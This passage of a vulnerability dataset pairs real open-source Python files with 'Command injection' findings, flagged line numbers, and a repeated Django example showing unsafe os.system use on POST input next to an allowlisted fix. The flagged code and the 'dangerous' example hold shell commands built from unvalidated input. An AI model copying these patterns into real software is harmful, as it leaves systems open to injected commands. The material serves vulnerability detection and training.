\".id\")\n        with open(vcf_parsed, \"r\") as input, open(read_ids, \"w\") as output:\n            for line in input:\n                entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n                read_list = entry[8].split(\",\")\n                for read in read_list:\n                    output.write(read + \"\\n\")\n    else:  # TODO: think about using this for assembly, filter for cigar reads\n        window = 1000\n        samfile = pysam.AlignmentFile(bam, \"rb\")\n        read_ids = os.path.join(out, sample_name + \".id\")\n        vcf_parsed_new = vcf_parsed + \".new\"\n        with open(vcf_parsed, \"r\") as input, open(read_ids, \"w\") as output, open(\n            vcf_parsed_new, \"w\"\n        ) as VCF:\n            for line in input:\n                entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n\n                # get sniffles read list\n                read_list = entry[8].split(\",\")\n                reads_sniffles = set(read_list)\n\n                ins_chr = entry[0]\n                ins_breakpoint = round((int(entry[1]) + int(entry[2])) / 2)\n                start = ins_breakpoint - window\n                end = ins_breakpoint + window\n                reads = set()\n                # coverage = 0\n                for read in samfile.fetch(ins_chr, start, end):\n                    reads.add(read.query_name)\n                for read in reads:\n                    output.write(read + \"\\n\")\n\n                # write\n                out_line = line.replace(\"\\n\", \"\") + \"\\t\" + str(len(reads))\n                VCF.write(out_line + \"\\n\")\n                vcf_parsed = vcf_parsed_new\n\n    # generate unique ID list\n    read_ids_unique = read_ids + \".unique\"\n    command = \"cat \" + read_ids + \" | sort | uniq\"\n    with open(read_ids_unique, \"w\") as output:\n        subprocess.call(command, stdout=output, shell=True)\n\n    # filter raw reads using read list\n    subset_fa = os.path.join(out, sample_name + \".subset.fa\")\n    command = \"seqtk subseq \" + raw_reads + \" \" + read_ids_unique + \" | seqtk seq -a\"\n    with open(subset_fa, \"w\") as output:\n        subprocess.call(command, stdout=output, shell=True)\n\n    # reorder reads\n    subset_fa_reorder = out + \"/\" + sample_name + \".subset.reorder.fa\"\n    extract_reads(subset_fa, read_ids, subset_fa_reorder)\n\n    # separate reads into multiple files, using csplit\n    mkdir(reads_dir)\n    csplit_prefix = reads_dir + \"/contig\"\n    m = []\n    k = 1\n    with open(vcf_parsed, \"r\") as input:\n        for line in input:\n            entry = line.replace(\"\\n\", \"\").split(\"\\t\")\n            if read_type == \"sv\":\n                k = k + 2 * (len(entry[8].split(\",\")))\n            else:\n                k = k + 2 * int(entry[14])\n            m.append(k)\n    if len(m) == 1:\n        subprocess.call([\"cp\", subset_fa_reorder, reads_dir + \"/contig0\"])\n    elif len(m) == 0:\n        print(\"No insertion detected, exiting...\")\n    else:\n        m = m[:-1]\n        index = \" \".join(str(i) for i in m)\n        command = (\n            \"csplit -s -f \" + csplit_prefix + \" -n 1 \" + subset_fa_reorder + \" \" + index\n        )\n        subprocess.call(command, shell=True)\n\n    # remove tmp files\n    os.remove(read_ids)\n    os.remove(read_ids_unique)\n    os.remove(subset_fa)\n    os.remove(subset_fa_reorder)\n\n\ndef extract_reads(reads, list, out):\n    \"\"\"Extract reads from fasta using read ID list\"\"\"\n    record_dict = SeqIO.index(reads, \"fasta\")\n    with open(out, \"wb\") as output_handle, open(list, \"r\") as ID:\n        for entry in ID:\n            entry = entry.replace(\"\\n\", \"\")\n            output_handle.write(record_dict.get_raw(entry))", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 214, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "545293926630ea772a30a26ea0fe05cb203f2c093b486a62b8ef45b91c0dd87c", "license": {"spdx": ["MIT"], "repo": "kippesp/turnt", "path": "turnt.py", "repo_head_hexsha": "da58fdca45552619f8b6afae268621cdb65dea08", "stack_hexsha": "83e34a96f132a1ea7094e354401ef9c01ff79862", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 273, "entireCode": "\"\"\"Turnt is a simple expect-style testing tool for command-line\nprograms.\n\"\"\"\nimport click\nimport tomlkit\nimport os\nimport shlex\nimport subprocess\nimport tempfile\nimport shutil\nimport sys\nimport re\nimport contextlib\nfrom concurrent import futures\n\n__version__ = '1.6.0'\n\nDIFF_DEFAULT = 'diff --new-file --unified'\nSTDOUT = '-'\nSTDERR = '2'\n\n\ndef load_config(path, config_name):\n    \"\"\"Load the configuration for a test at the given path.\n    \"\"\"\n    parent = os.path.dirname(path)\n    config_path = os.path.join(parent, config_name)\n    if os.path.isfile(config_path):\n        with open(config_path) as f:\n            return tomlkit.loads(f.read())\n    else:\n        return {}\n\n\ndef extract_options(text, key):\n    \"\"\"Parse a config option(s) from the given text.\n\n    Options are embedded in declarations like \"KEY: value\" that may\n    occur anywhere in the file. We take all the text after \"KEY: \" until\n    the end of the line. Return the value strings as a list.\n    \"\"\"\n    regex = r'\\b{}:\\s+(.*)'.format(key.upper())\n    return re.findall(regex, text)\n\n\ndef extract_single_option(text, key):\n    \"\"\"Parse a single config option from the given text.\n\n    The format is the same as for `extract_options`, but we return only\n    the first value---or None if there are no instances.\n    \"\"\"\n    options = extract_options(text, key)\n    if options:\n        return options[0]\n    else:\n        return None\n\n\ndef get_command(config, path, contents, args=None, err=None):\n    \"\"\"Get the shell command to run for a given test, as a string.\n    \"\"\"\n    cmd = extract_single_option(contents, 'cmd') or config['command']\n    args = args or extract_single_option(contents, 'args') or ''\n\n    # Construct the command.\n    filename = os.path.basename(path)\n    base, _ = os.path.splitext(filename)\n    return cmd.format(\n        filename=shlex.quote(filename),\n        base=shlex.quote(base),\n        args=args,\n    )\n\n\ndef format_output_path(name, path):\n    \"\"\"Substitute patterns in configured *actual* output filenames and\n    produce a complete path (relative to `path`, which is the test\n    file).\n    \"\"\"\n    if name == STDOUT or name == STDERR:\n        return name\n\n    filename = os.path.basename(path)\n    base, _ = os.path.splitext(filename)\n    return os.path.join(\n        os.path.dirname(path),\n        name.format(\n            filename=filename,\n            base=shlex.quote(base),\n        )\n    )\n\n\ndef format_expected_path(ext, path, out_base):\n    \"\"\"Generate the location to use for the *expected* output file for a\n    given test `path` and output extension key `ext`.\n\n    The resulting path is located \"next to\" the test file, using its\n    basename with a different extension---for example `./foo/bar.t`\n    becomes `./foo/bar.ext`. If the test path is a directory, the file is\n    placed *inside* this directory, and `out_base` is used for the filename\n    instead of the test name (e.g., `./foo/bar.t/out_base.ext`).\n    \"\"\"\n    # When the test is a directory, place results there and use\n    # `out_base`. Otherwise, when the test is a file, put results\n    # *alongside* the file, in the same parent directory, and use the\n    # test filename to generate the output filename (ignoring\n    # `out_base`).\n    if os.path.isdir(path):\n        dirname = path\n        base = out_base\n    else:\n        dirname = os.path.dirname(path)\n        filename = os.path.basename(path)\n        base, _ = os.path.splitext(filename)\n\n    return os.path.join(dirname, '{}.{}'.format(base, ext))\n\n\ndef get_out_files(config, path, contents):\n    \"\"\"Get the mapping from saved output files to expected output files\n    for the test.\n    \"\"\"\n    outputs = extract_options(contents, 'out')\n\n    # Get the mapping from extensions to output files.\n    if outputs:\n        outputs = {k: v for k, v in (o.split() for o in outputs)}\n    elif \"output\" in config:\n        outputs = config[\"output\"]\n    else:\n        # If no outputs given anywhere, assume standard out.\n        outputs = {\"out\": STDOUT}\n\n    # Get the base to use for directory test outputs.\n    out_base = config.get(\"out_base\", \"out\")\n\n    return {format_expected_path(k, path, out_base):\n            format_output_path(v, path)\n            for (k, v) in outputs.items()}\n\n\ndef get_return_code(config, contents):\n    return_code = extract_single_option(contents, 'return')\n\n    if return_code:\n        return int(return_code)\n    elif \"return_code\" in config:\n        return int(config[\"return_code\"])\n    else:\n        return 0\n\n\ndef load_options(config, path, args=None):\n    \"\"\"Extract the options embedded in the test file, which can override\n    the options in the configuration. Return the test command and an\n    output file mapping.\n\n    The path need not exist or be a file. If it's a directory or does\n    not exist, no options are extracted (and the defaults are used).\n\n    `args` can override the arguments for the command, which otherwise\n    come from the file itself.\n    \"\"\"\n    # Load the contents for option parsing either from the file itself\n    # or, if the test is a directory, from a file contained therein.\n    if os.path.isfile(path):\n        with open(path) as f:\n            contents = f.read()\n    else:\n        if 'opts_file' in config:\n            opts_path = os.path.join(path, config['opts_file'])\n            try:\n                with open(opts_path) as f:\n                    contents = f.read()\n            except IOError:\n                contents = ''\n        else:\n            contents = ''\n\n    return (\n        get_command(config, path, contents, args),\n        get_out_files(config, path, contents),\n        get_return_code(config, contents),\n    )\n\n\ndef check_result(name, idx, save, diff, proc, out_files, return_code,\n                 diff_cmd):\n    \"\"\"Check the results of a single test and print the outcome. Return\n    a bool indicating success and a TAP message as a list of strings.\n    \"\"\"\n    # If the command has a non-zero exit code, fail.\n    if proc.returncode != return_code:\n        msg = ['not ok {} - {}'.format(idx, name)]\n        if return_code:\n            msg.append('# exit code: {}, expected: {}'.format(proc.returncode,\n                                                              return_code))\n        else:\n            msg.append('# exit code: {}'.format(proc.returncode))\n        if proc.stderr:\n            sys.stderr.buffer.write(proc.stderr)\n            sys.stderr.buffer.flush()\n        return False, msg\n\n    # Check whether outputs match.\n    differing = []\n    missing = []\n    for saved_file, output_file in out_files.items():\n        # Diff the actual & expected output.\n        if diff:\n            subprocess.run(diff_cmd + [saved_file, output_file])\n\n        # Read actual & expected output.\n        with open(output_file) as f:\n            actual = f.read()\n        if os.path.isfile(saved_file):\n            with open(saved_file) as f:\n                expected = f.read()\n        else:\n            expected = None\n\n        # Compare.\n        if actual != expected:\n            differing.append(saved_file)\n        if expected is None:\n            missing.append(saved_file)\n\n    # Save the new output, if requested.\n    update = save and differing\n    if update:\n        for saved_file, output_file in out_files.items():\n            shutil.copy(output_file, saved_file)\n\n    # Show TAP success line and annotations.\n    line = '{} {} - {}'.format('ok' if not differing else 'not ok', idx, name)\n    if update:\n        line += ' # skip: updated {}'.format(', '.join(out_files.keys()))\n\n    diff_exist = [fn for fn in differing if fn not in missing]\n    if diff_exist:\n        line += '\\n# differing: {}'.format(', '.join(diff_exist))\n    if missing:\n        line += '\\n# missing: {}'.format(', '.join(missing))\n\n    return not differing, [line]\n\n\ndef run_test(path, config_name, idx, save, diff, verbose, dump, args=None):\n    \"\"\"Run a single test.\n\n    Check the output and produce a TAP summary line, unless `dump` is\n    enabled, in which case we just print the output. Return a bool\n    indicating success and the message as a list of strings.\n    \"\"\"\n    config = load_config(path, config_name)\n    cmd, out_files, return_code = load_options(config, path, args)\n    diff_cmd = shlex.split(config.get('diff', DIFF_DEFAULT))\n\n    # Show the command if we're dumping the output.\n    if dump:\n        print('$', cmd, file=sys.stderr)\n\n    with contextlib.ExitStack() as stack:\n        # Possibly use a temporary file for the output.\n        if not dump:\n            stdout = tempfile.NamedTemporaryFile(delete=False)\n            stderr = tempfile.NamedTemporaryFile(delete=False)\n            stack.enter_context(stdout)\n            stack.enter_context(stderr)\n\n        # Run the command.\n        proc = subprocess.run(\n            cmd,\n            shell=True,\n            stdout=None if dump else stdout,\n            stderr=None if dump else stderr,\n            cwd=os.path.abspath(os.path.dirname(path)),\n        )\n\n    # Check results.\n    if dump:\n        return proc.returncode == 0, []\n    else:\n        try:\n            # If we're in verbose but not dump/print mode, errors need to be\n            # copied from the temporary file to standard out\n            if verbose and not dump:\n                with open(stderr.name) as f:\n                    sys.stdout.write(f.read())\n\n            # Replace shorthands with the standard output/error files.\n            sugar = {STDOUT: stdout.name, STDERR: stderr.name}\n            out_files = {k: sugar.get(v, v) for (k, v) in out_files.items()}\n\n            return check_result(path, idx, save, diff, proc, out_files,\n                                return_code, diff_cmd)\n        finally:\n            os.unlink(stdout.name)\n            os.unlink(stderr.name)\n\n\n@click.command()\n@click.option('--save', is_flag=True, default=False,\n              help='Save new outputs (overwriting old).')\n@click.option('--diff', is_flag=True, default=False,\n              help='Show a diff between the actual and expected output.')\n@click.option('-p', '--print', 'dump', is_flag=True, default=False,\n              help=\"Just show the command output (don't check anything).\")\n@click.option('-v', '--verbose', is_flag=True, default=False,\n              help='Do not suppress stderr from successful commands.')\n@click.option('-a', '--args',\n              help='Override arguments for test commands.')\n@click.option('-j', '--parallel',\n              help='Run tests in parallel.')\n@click.option('-c', '--config', default='turnt.toml',\n              help='Name of the config file. Default: turnt.toml')\n@click.argument('file', nargs=-1, type=click.Path(exists=True))\ndef turnt(file, save, diff, verbose, dump, args, parallel, config):\n    if file and not dump:\n        print('1..{}'.format(len(file)))\n\n    success = True\n    if parallel:\n        # Parallel test execution.\n        with futures.ThreadPoolExecutor() as pool:\n            futs = []\n            for idx, path in enumerate(file):\n                futs.append(pool.submit(\n                    run_test,\n                    path, config, idx + 1, save, diff, verbose, dump, args\n                ))\n            for fut in futs:\n                sc, msg = fut.result()\n                success &= sc\n                for line in msg:\n                    print(line)\n\n    else:\n        # Simple sequential loop.\n        for idx, path in enumerate(file):\n            sc, msg = run_test(path, config, idx + 1, save, diff, verbose, dump, args)\n            success &= sc\n            for line in msg:\n                print(line)\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == '__main__':\n    turnt()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 273, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "819a5a5dec62625b46aea3ac770447efba9197ae6aa9a54394945cadc9735c4c", "license": {"spdx": ["Apache-2.0"], "repo": "roolrd/incubator-datalab", "path": "infrastructure-provisioning/src/general/api/install_libs.py", "repo_head_hexsha": "2045207ecd1b381193f1a1ec143cc968716ad989", "stack_hexsha": "8aaa6ef648c6ab0a8f38e3df5ebf0a4f712b233a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 32, "entireCode": "#!/usr/bin/python3\n\n# *****************************************************************************\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#   http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# ******************************************************************************\n\nimport json\nimport os\nimport sys\nimport subprocess\n\nif __name__ == \"__main__\":\n    success = True\n    try:\n        subprocess.run('cd /root; fab install-libs', shell=True, check=True)\n    except:\n        success = False\n\n    reply = dict()\n    reply['request_id'] = os.environ['request_id']\n    if success:\n        reply['status'] = 'ok'\n    else:\n        reply['status'] = 'err'\n\n    reply['response'] = dict()\n\n    try:\n        with open(\"/root/result.json\") as f:\n            reply['response']['result'] = json.loads(f.read())\n    except:\n        reply['response']['result'] = {\"error\": \"Failed to open result.json\"}\n\n    reply['response']['log'] = \"/var/log/datalab/{0}/{0}_{1}_{2}.log\".format(os.environ['conf_resource'],\n                                                                             os.environ['project_name'],\n                                                                             os.environ['request_id'])\n\n    with open(\"/response/{}_{}_{}.json\".format(os.environ['conf_resource'], os.environ['project_name'],\n                                               os.environ['request_id']), 'w') as response_file:\n        response_file.write(json.dumps(reply))\n\n    try:\n        subprocess.run('chmod 666 /response/*', shell=True, check=True)\n    except:\n        success = False\n\n    if not success:\n        sys.exit(1)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "29"}}, {"lineNo": 32, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "73161f4b0b6dc67be6e3a4385d4a99327c7a66206783ddde78dac88e48733ba5", "license": {"spdx": ["MIT"], "repo": "openem-team/openem", "path": "scripts/tator_tracker.py", "repo_head_hexsha": "45222c9c77084eacab278da25a8734ae7d43f677", "stack_hexsha": "7cd283a215a5ab2f5c601f954e24742216c659e4", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 178, "entireCode": "#!/usr/bin/env python3\n\nimport argparse\nimport openem\nimport os\nimport cv2\nimport numpy as np\nfrom openem.tracking import *\nimport json\nimport sys\nimport datetime\nimport tator\nfrom pprint import pprint\nfrom collections import defaultdict\n\nimport yaml\nimport math\n\nimport subprocess\nimport sys\n\ndef crop_localization(frame_bgr, localization):\n    img_width = frame_bgr.shape[1]\n    img_height = frame_bgr.shape[0]\n    box_x = round(localization['x'] * img_width)\n    box_y = round(localization['y'] * img_height)\n    box_width = round(localization['width'] * img_width)\n    box_height = round(localization['height'] * img_height)\n    img_crop = frame_bgr[box_y:box_y+box_height,box_x:box_x+box_width,:]\n    return img_crop\n\ndef join_up_iteration(detections, track_ids):\n            tracklets = defaultdict(list)\n            num_tracklets = np.max(track_ids) + 1\n            assert(len(detections) == len(track_ids))\n            for d,tid in zip(detections, track_ids):\n                tracklets[tid].append(d)\n            return tracklets\n\ndef extend_tracklets(tracklets, length):\n    for track_id,track in tracklets.items():\n        if len(track) <= 16:\n            continue\n\n        ext_length = min(length,len(track))\n        sum_h=0.0\n        sum_w=0.0\n\n        track.sort(key=lambda x:x['frame'])\n\n        def restore_det(det):\n            det['x'] = det.get('orig_x',det['x'])\n            det['y'] = det.get('orig_y',det['y'])\n            det['width'] = det.get('orig_w',det['width'])\n            det['height'] = det.get('orig_h',det['height'])\n            det['orig_x'] = det['x']\n            det['orig_y'] = det['y']\n            det['orig_w'] = det['width']\n            det['orig_h'] = det['height']\n        restore_det(track[0])\n        restore_det(track[-1])\n\n        for d in track:\n            sum_h += d['height']\n            sum_w += d['width']\n        angle,vel,comps = track_vel(track)\n        vel_x = comps[0]\n        vel_y = comps[1]\n        avg_h = sum_h / len(track)\n        avg_w = sum_w / len(track)\n        new_x = min(1,max(0,track[-1]['x']+(vel_x*ext_length)))\n        new_y = min(1,max(0,track[-1]['y']+(vel_y*ext_length)))\n        old_x = min(1,max(0,track[0]['x']-(vel_x*ext_length)))\n        old_y = min(1,max(0,track[0]['y']-(vel_y*ext_length)))\n\n\n        min_x = min(track[-1]['x'],new_x)\n        min_y = min(track[-1]['y'],new_y)\n        if min_x > 0 and min_y > 0:\n            track[-1]['x'] = min_x\n            track[-1]['y'] = min_y\n            track[-1]['width'] = min(max(0,abs(new_x-track[-1]['x'])+avg_w),1)\n            track[-1]['height'] = min(max(0,abs(new_x-track[-1]['y'])+avg_h),1)\n        else:\n            track[-1]['width'] = 0\n            track[-1]['height'] = 0\n\n\n        min_x = min(track[0]['x'],old_x)\n        min_y = min(track[0]['y'],old_y)\n        if min_x > 0 and min_y > 0:\n            track[0]['x'] = min(max(0,min_x),1)\n            track[0]['y'] = min(max(0,min_y),1)\n            track[0]['width'] = min(max(abs(old_x-track[0]['x'])+avg_w,0),1)\n            track[0]['height'] = min(max(abs(old_x-track[0]['y'])+avg_h,0),1)\n        else:\n            track[0]['width'] = 0\n            track[0]['height'] = 0\n    return tracklets\n\n\ndef split_tracklets(tracklets):\n    track_ids=[]\n    detections=[]\n    for track_id,track in tracklets.items():\n        for d in track:\n            track_ids.append(track_id)\n            detections.append(d)\n    return detections,track_ids\n\ndef trim_tracklets(detections, track_ids, max_length):\n    tracklets = join_up_iteration(detections, track_ids)\n    next_track_id = 1\n    new_tracklets = {}\n    for track_id,detections in tracklets.items():\n        new_track_count=math.ceil(len(detections)/max_length)\n        for i in range(new_track_count):\n            start=max_length*i\n            end=max_length+(max_length*i)\n            new_tracklets[next_track_id] = detections[start:end]\n            next_track_id += 1\n    detections, track_ids = split_tracklets(new_tracklets)\n    track_ids = renumber_track_ids(track_ids)\n    return detections, track_ids\n\n\nif __name__==\"__main__\":\n    parser = argparse.ArgumentParser(description=__doc__)\n    tator.get_parser(parser)\n    parser.add_argument(\"--detection-type-id\", type=int, required=True)\n    parser.add_argument(\"--tracklet-type-id\", type=int, required=True)\n    parser.add_argument(\"--version-id\", type=int)\n    parser.add_argument(\"--input-version-id\", type=int)\n    parser.add_argument(\"--strategy-config\", type=str)\n    parser.add_argument(\"--dry-run\", action='store_true')\n    parser.add_argument('media_files', type=str, nargs='*')\n    args = parser.parse_args()\n\n    # Weight methods\n    methods = ['hybrid', 'iou', 'iou-motion', 'iou-global-motion']\n\n    # Weight methods that require the video\n    visual_methods = ['hybrid', 'iou-global-motion']\n\n    api = tator.get_api(args.host, args.token)\n    detection_type = api.get_localization_type(args.detection_type_id)\n    project = detection_type.project\n    version_id = args.version_id\n\n\n    default_strategy = {\"method\": \"hybrid\",\n                        \"frame-diffs\": [1,2,4,8,16,32,64,128,256],\n                        \"args\": {},\n                        \"extension\": {'method' : None},\n                        \"max-length\": {},\n                        \"min-length\": 0}\n\n    if args.strategy_config:\n        strategy = {**default_strategy}\n        with open(args.strategy_config, \"r\") as strategy_file:\n            strategy.update(yaml.load(strategy_file))\n    else:\n        strategy = default_strategy\n\n    if strategy['method'] == 'hybrid':\n        model_file = strategy['args']['model_file']\n        batch_size = strategy['args'].get('batch_size', 4)\n        comparator=FeaturesComparator(model_file)\n        #extractor=FeaturesExtractor(args.model_file)\n\n\n    class_method = strategy.get('class-method',None)\n    classify_function = None\n    classify_args = {}\n    if class_method:\n        pip_package=class_method.get('pip',None)\n        if pip_package:\n            p = subprocess.run([sys.executable,\n                                \"-m\",\n                                \"pip\",\n                                \"install\",\n                                pip_package])\n            print(\"Finished process.\", flush=True)\n        function_name = class_method.get('function',None)\n        classify_args = class_method.get('args',None)\n        names = function_name.split('.')\n        module = __import__(names[0])\n        for name in names[1:-1]:\n            module = getattr(module,name)\n        classify_function = getattr(module,names[-1])\n\n\n    print(\"Strategy: \", flush=True)\n    pprint(strategy)\n    print(args.media_files, flush=True)\n\n    optional_fetch_args = {}\n    if args.input_version_id:\n        optional_fetch_args['version'] = [args.input_version_id]\n    for media_file in args.media_files:\n        comps=os.path.splitext(os.path.basename(media_file))[0]\n        media_id=comps.split('_')[0]\n        media = api.get_media(media_id)\n        if media.attributes.get(\"Tracklet Generator Processed\") != \"No\":\n            print(f\"Skipping media ID {media.id}, name {media.name} due to \"\n                  f\"'Tracklet Generator Processed' attribute being set to \"\n                  f\"something other than 'No'!\")\n            continue\n        media_shape = (media.height, media.width)\n        fps = media.fps\n\n        localizations_by_frame = {}\n        localizations = api.get_localization_list(project,\n                                                  type=args.detection_type_id,\n                                                  media_id=[media_id],\n                                                  **optional_fetch_args)\n\n        localizations = [l.to_dict() for l in localizations]\n        if len(localizations) == 0:\n            print(f\"No localizations present in media {media_file}\", flush=True)\n            continue\n        print(f\"Processing {len(localizations)} detections\", flush=True)\n        # Group by localizations by frame\n        for lid, local in enumerate(localizations):\n            frame = local['frame']\n            if frame in localizations_by_frame:\n                localizations_by_frame[frame].append(local)\n            else:\n                localizations_by_frame[frame] = [local]\n\n        detections=[]\n        track_ids=[]\n        track_id=1\n\n        # If media does not exist, download it.\n        if strategy['method'] == 'iou-global-motion':\n            if not os.path.exists(media_file):\n                temp_path = f'/tmp/{os.path.basename(media_file)}'\n                for progress in tator.util.download_media(api, media, temp_path):\n                    print(f\"Downloading {media_file}, {progress}%...\")\n                print(\"Download finished!\")\n                # Unfrag the file\n                subprocess.run([\"ffmpeg\", '-i', temp_path, '-c:v', 'copy', media_file])\n                os.remove(temp_path)\n\n        if strategy['method'] == 'hybrid': # Not all visual methods need detection images\n            vid=cv2.VideoCapture(media_file)\n            ok=True\n            frame = 0\n            while ok:\n                ok,frame_bgr = vid.read()\n                if frame in localizations_by_frame:\n                    for l in localizations_by_frame[frame]:\n                        l['bgr'] = crop_localization(frame_bgr, l)\n                        if l['attributes']['Confidence'] < 0.50:\n                            continue\n                        detections.append(l)\n                        track_ids.append(track_id)\n                        track_id += 1\n                frame+=1\n        else:\n            # The method is analytical on the detections coordinates\n            # and does not require processing the video\n            for frame,frame_detections in localizations_by_frame.items():\n                for det in frame_detections:\n                    detections.append(det)\n                    track_ids.append(track_id)\n                    track_id += 1\n\n        print(\"Loaded all detections\", flush=True)\n\n        track_ids = renumber_track_ids(track_ids)\n\n        if strategy['method'] == 'hybrid':\n            weights_strategy = HybridWeights(comparator,\n                                             None,\n                                             None,\n                                             media_shape,\n                                             fps,\n                                             0.0,\n                                             batch_size)\n        elif strategy['method'] == 'iou':\n            weights_strategy = IoUWeights(media_shape, **strategy['args'])\n        elif strategy['method'] == 'iou-motion':\n            weights_strategy = IoUMotionWeights(media_shape, **strategy['args'])\n        elif strategy['method'] == 'iou-global-motion':\n            weights_strategy = IoUGlobalMotionWeights(media_shape, media_file, **strategy['args'])\n        # Generate localization bgr based on grouped localizations\n        for x in strategy['frame-diffs']:\n            print(f\"Started {x}\", flush=True)\n            detections, track_ids, pairs, weights, is_cut, constraints = join_tracklets(\n                detections,\n                track_ids,\n                x,\n                weights_strategy)\n\n            if x in strategy['max-length']:\n                trim_to = strategy['max-length'][x]\n                print(f\"Trimming track to max length of {trim_to}\")\n                detections, track_ids = trim_tracklets(detections, track_ids, trim_to)\n            _,det_counts_per_track=np.unique(track_ids,return_counts=True)\n            print(f\"frame-diff {x}: {len(detections)} to {len(det_counts_per_track)}\", flush=True)\n\n            if x > 1 and strategy['extension']['method'] == 'linear-motion':\n                ext_frames=x\n                print(f\"Extending by linear motion, {ext_frames}\")\n                tracklets = join_up_iteration(detections,track_ids)\n                tracklets = extend_tracklets(tracklets, ext_frames)\n                detections, track_ids = split_tracklets(tracklets)\n\n        # Now we make new track objects based on the result\n        # from the graph solver\n        # [ detection, detection, detection, ...]\n        # [ track#, track#, track#,...]\n        # [ 133, 33, 13, 133,]\n        # [ 0,0,1,1]\n        # TODO: Handle is_cut?\n        def join_up_final(detections, track_ids):\n            tracklets = defaultdict(list)\n            num_tracklets = 